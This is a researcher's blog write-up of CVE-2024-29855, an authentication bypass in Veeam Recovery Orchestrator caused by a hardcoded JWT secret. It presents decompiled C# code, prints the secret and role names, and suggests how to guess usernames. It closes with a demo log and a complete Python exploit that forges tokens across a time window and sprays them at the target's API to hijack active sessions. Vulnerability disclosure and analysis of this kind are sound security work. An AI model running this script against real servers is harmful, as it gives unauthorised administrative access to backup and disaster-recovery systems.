There are no Secrets || Exploiting Veeam CVE-2024-29855
TLDR
Veeam published a CVSS 9 advisory for a authentication bypass vulnerability CVE-2024-29855 affecting Veeam Recovery Orchestrator, Following is my full analysis and exploit for this issue, although the issue is not as severe as it might sound (DO NOT PANIC AT ALL) but i found the mechanics of this vulnerability a bit interesting and decided to publish my detailed analysis and exploit for it.
Introduction (yet another TLDR)
June 10th, Veeam published an advisory stating that Veeam Recovery Orchestrator is affected by an authentication bypass allowing an unauthenticated attacker to bypass the authentication and log in to the Veeam Recovery Orchestrator web UI with administrator privilges. the CVSS for this vulnerability is 9.0
This vulenrability is due to the fact that JWT secret used to generate authentication tokens was a hardcoded value which means an unauthenticated attacker can generate valid tokens for any user (not just the administrator) and login to the Veeam Recovery Orchestrator.
A vulnerability (CVE-2024-29855) in Veeam Recovery Orchestrator (VRO) version 7.0.0.337 allows an attacker to access the VRO web UI with administrative privileges.
Note: The attacker must know the exact username and role of an account that has an active VRO UI access token to accomplish the hijack.
Advanced .NET Exploitation
if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you everything you need about .net related vulnerabilities like authentication bypass, deserialization, mitigation bypass and many more.
Lets begin
The vulnerability is fairly simple, a hardcoded JWT secret is used to generate and validate users token, the following is the skeleton for the token generation method also known as Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken
. As one can quickly notice, at line (4) a byte array is assigned with the content of this._appSettings.Secret
.
Later at line (11) this array of bytes containing the secret is used to instantiate the Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey
class by passing the bytes to its constructor.
then the returned instance is passed to the Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials
as its first argument which is of type Microsoft.IdentityModel.Tokens.SecurityKey
and for the second argument the following valuehttp://www.w3.org/2001/04/xmldsig-more#hmac-sha256
is used, one could quickly say this is where the algorithm gets deined as hmac-sha256
.
Now we have an populated instance of Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor
which is used to create a Microsoft.IdentityModel.Tokens.SecurityToken
at line (13), this object is then passed to the jwtSecurityTokenHandler.WriteToken
to issue a signed token to be used by the user.
1: public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response)
2: {
3: JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
4: byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
5: int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes;
6: DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes);
7: SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor
8: {
9: Subject = (ClaimsIdentity)principal.Identity,
10: Expires = new DateTime?(dateTime),
11: SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")
12: };
13: SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);
14: string text = jwtSecurityTokenHandler.WriteToken(securityToken);
15: AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo
16: {
17: Id = text,
18: ClaimIdentity = principal,
19: ExpiresUtc = new DateTimeOffset?(dateTime)
20: });
21: response.access_token = text;
22: response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);
}
Aslo if you are interested in verifying the type of mentioend arguments, this can be done by stepping into the imeplemantion of the Microsoft .NET Microsoft.IdentityModel.Tokens.dll
1: using System;
2: using System.Security.Cryptography.X509Certificates;
3: using Microsoft.IdentityModel.Logging;
4:
5: namespace Microsoft.IdentityModel.Tokens
6: {
7:
8: public class SigningCredentials
9: {
10:
11: protected SigningCredentials(X509Certificate2 certificate)
12: {
13: if (certificate == null)
14: {
15: throw LogHelper.LogArgumentNullException("certificate");
16: }
17: this.Key = new X509SecurityKey(certificate);
18: this.Algorithm = "RS256";
19: }
20:
21:
22: protected SigningCredentials(X509Certificate2 certificate, string algorithm)
23: {
24: if (certificate == null)
25: {
26: throw LogHelper.LogArgumentNullException("certificate");
27: }
28: this.Key = new X509SecurityKey(certificate);
29: this.Algorithm = algorithm;
30: }
31:
32:
33: public SigningCredentials(SecurityKey key, string algorithm)
34: {
35: this.Key = key;
36: this.Algorithm = algorithm;
37: }
The smart reader would ask, where does this._appSettings.Secret
come from?
To answer this question, we can first have a look at the _appSettings
declaration and then move on to its initialization, following is where the definition for the type of this class is defined Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings
.
One can quickly spot the public string Secret
member in this class which we are intrested in.
1: using System;
2:
3: namespace Veeam.AA.Web.Auth
4: {
5:
6: public class AppSettings
7: {
8:
9: public string Secret { get; set; }
10:
11: public int RefreshTokenExpireMinutes { get; set; }
12:
13: public int AccessTokenExpireMinutes { get; set; }
14:
15: public bool WebDavLogEverything { get; set; }
16:
17: public bool WebDavUrlAuthorizationMode { get; set; }
18: }
19: }
Now we need to understand where an instance of this class is initialized. following is the imeplemntation of the Veeam.AA.Web.Startup.Configure
method that is responsible to take care of the initizliation routine of the this .net application and line (70) is where the AppSettings
is finally instantiated.
public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter)
1: {
2: Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>());
3: CancellationToken cancellationToken = applicationLifetime.ApplicationStopping;
4: cancellationToken.Register(delegate
5: {
6: Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>());
7: });
8: cancellationToken = applicationLifetime.ApplicationStopped;
9: cancellationToken.Register(delegate
10: {
11: Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());
12: });
13: if (env.IsDevelopment())
14: {
15: app.UseDeveloperExceptionPage();
16: }
17: app.UseSwagger(delegate(SwaggerOptions _)
18: {
19: });
20: bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;
21: app.UseSwaggerUI(delegate(SwaggerUIOptions options)
22: {
23: options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");
24: options.InjectJavascript("/swagger.custom.js", "text/javascript");
25: options.InjectStylesheet("/swagger.custom.css", "screen");
26: options.DefaultModelExpandDepth(0);
27: options.DefaultModelsExpandDepth(-1);
28: options.DocExpansion(DocExpansion.None);
29: for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)
30: {
31: ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];
32: int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;
33: int num = 0;
34: if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)
35: {
36: string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());
37: options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);
38: }
39: }
40: options.EnableValidator(null);
41: options.EnableDeepLinking();
42: });
43: string contentRootPath = env.ContentRootPath;
44: PathString pathString = new PathString("");
45: app.UseDefaultFiles(new DefaultFilesOptions
46: {
47: FileProvider = new PhysicalFileProvider(contentRootPath),
48: RequestPath = pathString
49: });
50: app.UseStaticFiles(new StaticFileOptions
51: {
52: FileProvider = new PhysicalFileProvider(contentRootPath),
53: RequestPath = pathString
54: });
55: app.UseRouting();
56: app.UseSession();
57: app.UseCors(delegate(CorsPolicyBuilder x)
58: {
59: x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();
60: });
61: Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);
62: accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });
63: NotificationServiceOptions pushServerOptions = new NotificationServiceOptions
64: {
65: AccessValidator = accessValidator
66: };
67: app.UseNotificationService(pushServerOptions);
68: app.UseAuthentication();
69: app.UseAuthorization();
70: AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;
71: app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);
72: app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)
73: {
74: endpoints.MapControllers();
75: endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");
76: });
77: Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());
78: }
The values that populate the members of this class are taken from the following file appsettings.json
, lets have a look inside this file.
One can quickly tell the Secret
key contains the JWT secret, and the problem with this product is that the JWT “secret” value always stays the “same” (before the latest patch)
{
"AppSettings": {
"Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=",
"RefreshTokenExpireMinutes": 120,
"AccessTokenExpireMinutes": 15,
"WebDavLogEverything": "false",
"WebDavUrlAuthorizationMode": "false"
},
"Vcf": {
"Host": "localhost",
"Port": 12348,
"ReconnectInterval": "0.00:01:00"
},
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
},
"AllowedHosts": "*"
}
Now that we understnad how the JWT tokens are genearted, one might quickly move on to generate a token, but it doesn’t work like that for this product, there is actually something a bit interesting that caused the CVSS to drop from CVSS 9.8 to a CVSS 9, and here is the reason.
Lets have a look inside the method responsible for validating the provided JWT tokens which is at Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken
The mechanics of this method are simple, it expects a token passed as an string, it then proceeds to create an instance of the JwtSecurityTokenHandler
class (line 7) which we talked about in the token generation section, then at line (8) the same hardcoded JWT secret is loaded by referencing the this._appSettings.Secret
and loading its value in a byte array, then (line 9) an instance of the ClaimsPrincipal
is defined.
The byte array containing the secret is used to instantiate the SymmetricSecurityKey
which its return value is used to populate the IssuerSigningKey
member property of TokenValidationParameters
which it self is the second argument passed to jwtSecurityTokenHandler.ValidateToken
to validate the user token that has been passed as the first argument, if the token is validated, the out securityToken
will contain the validated token, in case a validation exception is raised from within the Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken
then the catch
block at line (26) is used to capture the exception and assign null
to the previously defined claimsPrincipal
variable meaning the token was invalid.
But, the eagle eye might notice something important here, if no exception is raised, then at line (23) the provided token is passed to AuthorizationTokenStore.AccessTokens.Get
to retireve an object of type AuthorizationInfo
this type is also known as Veeam.AA.Web.Auth.Models.AuthorizationInfo
.
If the returned value from AuthorizationTokenStore.AccessTokens.Get
is not equal to null
then finally the claimsPrincipal
is populated and returned to the caller to inform the token was valid.
But what is AuthorizationTokenStore.AccessTokens.Get
?
1: public ClaimsPrincipal ValidateJwtToken(string token)
2: {
3: if (token == null)
4: {
5: return null;
6: }
7: JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
8: byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
9: ClaimsPrincipal claimsPrincipal;
10: try
11: {
12: SecurityToken securityToken;
13: jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters
14: {
15: ValidateIssuerSigningKey = true,
16: IssuerSigningKey = new SymmetricSecurityKey(bytes),
17: ValidateIssuer = false,
18: ValidateAudience = false,
19: RequireExpirationTime = true,
20: ValidateLifetime = true,
21: ClockSkew = TimeSpan.Zero
22: }, out securityToken);
23: AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);
24: claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);
25: }
26: catch
27: {
28: claimsPrincipal = null;
29: }
30: return claimsPrincipal;
31: }
without boring you with the details, simply put, The AuthorizationTokenStore.AccessTokens.Get
accesses an In memory object list, this object list obviously stores objects, but for our purpose, it contains the list of previously issue JWT tokens, this is very important, why you ask? well, even if we manage to (ab)use the hardcoded JWT secret to generate a valid token, if the token wasn’t actually issued in the past, the AuthorizationTokenStore.AccessTokens.Get
returns null
which causes the authorizationInfo
to be null
that cauases the claimsPrincipal
to be null
as well and the token validation would fail.
1: using System;
2: using System.Collections.Concurrent;
3: using System.Collections.Generic;
4: using System.Linq;
5: using System.Linq.Expressions;
6: using System.Reflection;
7:
8: namespace Veeam.AA.Web.Auth
9: {
10:
11: public class InMemoryObjectList<TEntity> where TEntity : class
12: {
13:
14: public InMemoryObjectList()
15: {
16: this.CreateIdGetter();
17: }
18:
19:
20: private Func<TEntity, object> CreateIdGetter()
21: {
22: Type typeFromHandle = typeof(TEntity);
23: PropertyInfo property = typeFromHandle.GetProperty("Id");
24: if (property == null)
25: {
26: throw new ArgumentException("Entity must have Id property");
27: }
28: ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");
29: Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));
30: LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });
31: this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;
32: return this._idGetter;
33: }
34:
35:
36: public void Add(TEntity entity)
37: {
38: object obj = this._idGetter(entity);
39: this._collection.TryAdd(obj, entity);
40: }
41:
42:
43: public TEntity Get(object id)
44: {
45: if (this._collection.ContainsKey(id))
46: {
47: return this._collection[id];
48: }
49: return default(TEntity);
50: }
51:
52: [..SNIP..]
In order to demonstrate what this in memory object list looks like, following is the runtime content of this list
after multiple authentication requests, the list contains multiple administrator sessions that are valid JWT tokens
This is exactly what Veeam official advisory was refering too (lets say that)
They claim the exploitation requires 3 conditions:
- knowing the username
- knowing the role
- target having an active session
This is true, and that’s why the exploiability of this issue is a bit far fetched and I agree with that, but as you know I’m here to make it a bit more possible (just a bit)
First, the “knowing the username” problem “kind of” can be solved with the following solution, assuming there exist a user named administrator@evilcorp.local
one can find the domain name by looking at the CN
filed of the SSL certificate and the username can be sprayed, kind of lame though but that’s what we have right now
Second, the “knowing” the role is kind of a joke, after further reversing, I concluded there are only 5 possible role values, following is where these roles have been defined
1: using System;
2: using System.Collections.Generic;
3: using System.Runtime.CompilerServices;
4:
5: namespace Veeam.AA.Common.Security
6: {
7: [NullableContext(1)]
8: [Nullable(0)]
9: public static class RoleNames
10: {
11: public const string Anonymous = "Anonymous";
12:
13: public const string Administrator = "DRSiteAdmin";
14:
15: public const string PlanAuthor = "DRPlanAuthor";
16:
17: public const string PlanOperator = "DRPlanOperator";
18:
19: public const string SetupOperator = "SiteSetupOperator";
20:
21: public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };
22: }
23: }
Third, target having an active session, we discussed this above, the JWT Token created by Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken
are stored in the InMemoryObjectList so a user needs to be logged in.
So now the plan is simple, generate valid JWT tokens for a period of time and spray them against the server until we get a hit. the provided PoC is written in python, which i think other languages can do waaaaaaaay faster, and I hope a mighty chap or chapette can craft a faster poc and let me know about it.
This is a summary of how things went down:
Demo
python CVE-2024-29855.py --start_time 1718264404 --end_time 1718264652 --username administrator@evilcorp.local --target https://192.168.253.180:9898/
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200
(+) Response: {"user":"administrator@evilcorp.local","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}
Proof of Concept
"""
Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""
banner = r"""
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""
""""""
import jwt
import time
import warnings
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor
import signal
import sys
warnings.filterwarnings("ignore")
jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="
counter = 0
def exploit_token(token):
global counter
url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"
headers = {"Authorization": f"Bearer {token}"}
try:
res = requests.get(url, verify=False, headers=headers)
if(res.status_code == 200):
print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}")
counter = 21
sys.exit(0)
if(args.debug or counter == 10):
print(f"(INFO) Spraying JWT Tokens: {res.status_code}")
counter = 0
except requests.exceptions.RequestException as e:
if args.debug:
print(f"(INFO) Request failed: {e}")
counter += 1
def generate_token_and_exploit(current_time):
claims = {
"unique_name": args.username,
"role": "SiteSetupOperator",
"nbf": current_time,
"exp": current_time + 900,
"iat": current_time
}
encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")
exploit_token(encoded_jwt)
def signal_handler(sig, frame):
print('Interrupted! Shutting down gracefully...')
executor.shutdown(wait=False)
sys.exit(0)
if __name__ == "__main__":
print(banner)
parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")
parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)
parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)
parser.add_argument("--username", type=str, help="administrator@evilcorp.local or evilcorp\\administrator", required=True)
parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)
parser.add_argument("--debug", action="store_true", help="Enable debug mode")
args = parser.parse_args()
start_time = args.start_time
end_time = args.end_time
signal.signal(signal.SIGINT, signal_handler)
with ThreadPoolExecutor() as executor:
signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
current_time = start_time
while current_time < end_time:
try:
executor.submit(generate_token_and_exploit, current_time)
current_time += 1
except KeyboardInterrupt:
print("Keyboard interrupt received, shutting down...")
executor.shutdown(wait=False)
sys.exit(0)